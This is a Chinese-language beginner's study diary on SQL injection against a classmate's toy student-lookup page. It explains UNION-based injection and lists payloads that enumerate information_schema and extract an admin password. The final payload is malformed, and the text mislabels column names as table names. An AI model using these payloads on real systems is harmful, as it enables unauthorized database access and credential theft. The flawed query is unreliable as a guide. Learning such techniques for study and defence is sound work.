,DAY1:
在知识星球上看到了师兄的《从0开始学习sql注入》,最近开头蛮有意思的,而且最近学了一点点PHP、MySQL,于是感兴趣的试图开始学习一点sql注入。
那就从最简单的网页开始吧
首先是小黄同学搭建了一个简单的数据管理系统,其中有一个查询功能点可以查询学生的用户名
(搭网站看起来也挺有意思下次试试=)
如果在MySQL数据库users中的表userinfo中存有三列:学号id,用户名uname,密码password;表建立完成后添加了五个用户信息,其中包含了管理员账号admin和密码。
如果在用户输入时没有进行过滤或转义,直接把用户输入拼接到了后端的sql语句中,就可以进行SQL注入。
一、需要用到几个sql语句:
1:union select
用来查询多个字段;
union select <列1,列2,......> from <table_name> where <condition>;
2:order by
用于查询结果的排序;
用法是当order by 的列数大于实际列数,那么就会报错,可以用来判断表中有几列。
3:group_concat
用于把多个查询结果进行连接,可以把查询出的字段连接显示。
二、在数据库information_schema,储存着两个重要的表,
information_schema.tables(储存着所有表名)
information_schema.columns(储存着所有列名)
在information_schema.tables中一列table_schema(储存着来自哪个数据库)可以知道来源数据库的名字
三、开始查询。
如果输入
1 union select 1,2,3 #
因为只有一个回显位,所以先显示了id1的查询结果
所以需要控制回显字段
-1 union select 1,2,3 #
发现2被回显,说明回显字段在第二列
接下来输入
-1 union select 1,database(),3 #
返回:users
此时可以得到数据库名称:users
输入payload去爆表名
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="userinfo"#
得到表名id.passwd.uname
-1 union select 1,passwd,3 from information_schema.columns where name="admin" #
于是就可以得出admin的密码啦
理论学习到此,下一步可能是找点题实践啦=)